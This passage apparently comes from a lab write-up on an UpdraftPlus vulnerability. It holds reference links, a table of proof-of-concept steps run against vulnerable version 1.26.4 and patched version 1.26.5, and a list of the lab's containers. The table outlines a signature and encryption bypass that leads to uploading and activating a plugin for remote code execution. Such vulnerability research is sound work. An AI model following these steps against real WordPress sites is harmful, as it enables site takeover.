* Base de dados de vulnerabilidades Wordfence: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Base de dados Patchstack: UpdraftPlus
https://patchstack.com/database/
* Plugin WordPress.org: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* SVN do plugin WordPress.org
https://plugins.svn.wordpress.org/updraftplus/
* Tags SVN do plugin WordPress.org
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Folha de referência de autenticação
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Guia de Testes de Segurança Web
https://owasp.org/www-project-web-security-testing-guide/
| Comportamento do PoC | Comportamento da fonte testado | Esperado na 1.26.4 | Esperado na 1.26.5 |
|---|
Enviar POST com format=1 | O ouvinte aceita o formato RPC legado | Continua | Continua até a verificação de descriptografia corrigida |
| Omitir assinatura válida | A verificação de assinatura se aplica apenas a format >= 2 | Assinatura não exigida | Assinatura não exigida para format=1, mas bloqueada posteriormente |
| Enviar bloco RSA inválido | A descriptografia RSA retorna chave simétrica inválida | A chave inválida chega a setKey() | A chave inválida é rejeitada |
| Criptografar JSON com chave nula/IV nulo | Modela o comportamento de fallback do phpseclib após setKey(false) | Descriptografa em JSON válido | Não descriptografa |
Definir command=ping | Testa apenas o bypass de criptografia e o despacho | PING DISPATCHED | PING NOT DISPATCHED |
Definir command=plugin.upload_plugin | Chama o método de upload de plugin do UpdraftCentral | ZIP do plugin instalado | Comando não alcançado |
Definir activate=true | Aciona activate_plugin() após a instalação | Plugin marcador ativo | Plugin marcador ausente |
Solicitar /wp-json/cve-lab/v1/id | Verifica se o código do plugin marcador está em execução | Retorna uid=33(www-data) | Retorna 404 rest_no_route |
| Service | Component | Version / Role |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 vulnerable target |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 patched target |
vuln_db | MariaDB | Database for the vulnerable target |
patched_db | MariaDB | Database for the patched target |
vuln_setup | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |
patched_setup | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |